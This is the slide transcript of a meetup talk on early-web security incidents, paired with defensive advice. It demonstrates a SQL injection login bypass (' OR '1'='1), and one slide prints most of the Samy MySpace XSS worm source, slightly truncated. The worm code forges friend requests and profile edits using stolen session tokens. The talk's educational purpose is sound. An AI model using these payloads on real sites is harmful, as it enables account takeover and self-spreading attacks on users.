Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Securing your site like it's 1999

Securing your site like it's 1999

For our next event we are super excited to welcome npm’s Katie Fenn, she will be joining us to talk about ‘Securing your site like it’s 1999’!

Life in the early days of the web was hard. One day your HTML is disintegrating, the next you are fighting someone named “~Ninjad00d~” who has found a way to take over your forum system. Lessons in security in these days were hard learned.

These are the true stories from the early days of the web and how forums, chat rooms and online games were turned upside down for fun and profit. If you stick around after laughing at the misfortune of online pioneers, there will also be lessons about finding your way in a world that wants to exploit your every mistake.

Frontend NE

August 02, 2018
Tweet

More Decks by Frontend NE

Other Decks in Technology

Transcript

  1. @katie_fenn INPUT validation • use a library like joi to

    validate data • check a user’s actions against their identity
  2. @katie_fenn INPUT validation • use a library like joi to

    validate data • check a user’s actions against their identity • never rely on client-side validation cw: large animated image
  3. @katie_fenn Username SephirothIsMyBishie Password Login You are now logged in!

    Welcome Admin! ' OR '1'='1 cw: large animated image
  4. @katie_fenn Username Password Login /* SQL */ SELECT COUNT(*) FROM

    USERS WHERE USERNAME = AND PASSWORD = ‘’ ‘’
  5. @katie_fenn Username Alice Password Login /* SQL */ SELECT COUNT(*)

    FROM USERS WHERE USERNAME = AND PASSWORD = ‘Alice’ hunter2 ‘hunter2’ You are now logged in! Welcome Alice! > 1
  6. @katie_fenn Username Password Login /* SQL */ SELECT COUNT(*) FROM

    USERS WHERE USERNAME = AND PASSWORD = ‘’ ‘’
  7. @katie_fenn Username Password Login /* SQL */ SELECT COUNT(*) FROM

    USERS WHERE USERNAME = AND PASSWORD = Admin ' OR ‘1'='1 ‘Admin’ ‘’ OR ‘1’=‘1’ You are now logged in! Welcome Admin! > 349
  8. @katie_fenn Username Alice Password Login Admin ' OR ‘1'='1 ‘Admin’

    ‘’ OR ‘1’=‘1’ /* SQL */ SELECT COUNT(*) FROM USERS WHERE USERNAME = AND PASSWORD = SQL: Give me all the users that have the username “Admin”
  9. @katie_fenn Username Alice Password Login /* SQL */ SELECT COUNT(*)

    FROM USERS WHERE USERNAME = AND PASSWORD = Admin ‘Admin’ ‘’ OR ‘1’=‘1’ SQL: … or TRUE
  10. @katie_fenn Username Alice Password Login /* SQL */ SELECT COUNT(*)

    FROM USERS WHERE USERNAME = AND PASSWORD = Admin ‘Admin’ ‘’ OR ‘1’=‘1’ ' OR ‘1'='1 SQL: … or TRUE
  11. @katie_fenn DRUPALGEDDON •affected every Drupal 7 site before version 7.32

    •remote code execution •in some cases patched vulnerability to hide breach
  12. @katie_fenn SQL INJECTION •never build sql queries using string concatenation

    •use parameterised queries (pdo, knex) •use an orm
  13. @katie_fenn Cross site request forgery •verify origin or referer http

    headers •use synchroniser tokens •use cookie-to-header tokens
  14. @katie_fenn Cross site request forgery •verify origin or referer http

    headers •use synchroniser tokens •use cookie-to-header tokens •no defence if compromised by xss cw: large animated image
  15. @katie_fenn ololoololololololololololololololololololololololololololololololo lololololololololololoolololololololololololololololololololololol olololololololololololololololololololoolololololololololololololo lolololololololololololololololololololololololololololoololololol ololololololololololololololololololololololololololololololololol olololoolololololololololololololololololololololololololololololo lolololololololololololoololololololololololololololololololololol ololololololololololololololololololololoololololololololololololo lololololololololololololololololololololololololololololoolololol

    ololololololololololololololololololololololololololololololololol ololololoololololololololololololololololololololololololololololo lololololololololololololoolololololololololololololololololololol olololololololololololololololololololololoolololololololololololo lolololololololololololololololololololololololololololololoololol ololololololololololololololololololololololololololololololololol olololololoolololololololololololololololololololololololololololo lolololololololololololololo 
 RoflLaz0rz wth is going on
  16. @katie_fenn Samy Male CALIFORNIA United States Home | Browse |

    Search | Invite | Film | Mail | Blog | Favorites Can we be friends? MySpace.com
  17. @katie_fenn Samy Male CALIFORNIA United States Home | Browse |

    Search | Invite | Film | Mail | Blog | Favorites Can we be friends? MySpace.com
  18. @katie_fenn Samy Male CALIFORNIA United States Home | Browse |

    Search | Invite | Film | Mail | Blog | Favorites Can we be friends? MySpace.com
  19. @katie_fenn Samy Male CALIFORNIA United States Home | Browse |

    Search | Invite | Film | Mail | Blog | Favorites Can we be friends? MySpace.com
  20. @katie_fenn Samy Male CALIFORNIA United States Home | Browse |

    Search | Invite | Film | Mail | Blog | Favorites Can we be friends? MySpace.com <div> and <img> tags allowed, but <script> is filtered
  21. @katie_fenn alert(eval('document.body.inne' + ‘rHTML')) eval('XMLHttpRequest.onread' + 'ystatechange = callback'); This

    trick also works for XMLHttpRequest.onReadyStateChange (also known as “AJAX”)
  22. @katie_fenn if (location.hostname == 'profile.myspace.com') { document.location = 'http://www.myspace.com' +

    location.pathname + location.search } Browsers restrict requests to domains of different origin. Changing location worked around this.
  23. @katie_fenn <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var

    C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU {M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.leng AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken']; M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}e {getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=ne O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.repl N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='PO {J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return tr findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{ XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+A AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</ td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm? fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm? fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm? fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){ret AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm? fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return fa eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x- urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
  24. @katie_fenn Home | Browse | Search | Invite | Film

    | Mail | Blog | Favorites MySpace.com Friend Request Manager From Confirmation Approve Deny Message Listing 1 of 1 Tom
  25. @katie_fenn Home | Browse | Search | Invite | Film

    | Mail | Blog | F MySpace.com Friend Request Manager From Confirmation Approve Deny Message Listing 1 - 10 of 221 Tom @katie_fenn
  26. @katie_fenn Home | Browse | Search | Invite | Film

    | Mail Friend Request Manager From Confirmation Approve Deny Message Listing 1 - 10 of 480 Tom @katie_fenn
  27. @katie_fenn Home | Browse | Search | Invite | Film

    Friend Request Manager From Confirmation Approve Deny Me Listing 1 - 10 of 917,084 Tom @katie_fenn
  28. @katie_fenn 500 Internal Server Error The server encountered an internal

    error or misconfiguration and was unable to complete your request. Please contact the server administrator, [email protected] and inform them of the time the error occurred, and anything you might have done to cause the error. More information about this error may be found in the server error log.
  29. @katie_fenn SAMY Myspace worm • site restored two hours later

    • raided by u.s. secret service • 90 days community service • $15,000-$20,000 restitution
  30. @katie_fenn Cross site scripting •escape user input on entry using

    a library •use an auto-escaping templating library
  31. @katie_fenn Cross site scripting •escape user input on entry using

    a library •use an auto-escaping templating library •implement a content security policy
  32. @katie_fenn Cross site scripting •escape user input on entry using

    a library •use an auto-escaping templating library •implement a content security policy •use sub-resource integrity
  33. Special thanks Ben Pottier @bone_idol Cory Foy @irongeek_adc Michael Irwin

    Evan Williams @kitation @lukeb_uk Simon Willison @yesnoornext Justin Safa Steve Christey Coley @dontfeartherepair @SwiftOnSecurity @benofbrown Miriam Wiesner @lucky225 S. VonKetschmann CJ Silverio Lewis Cowper @_gaeel_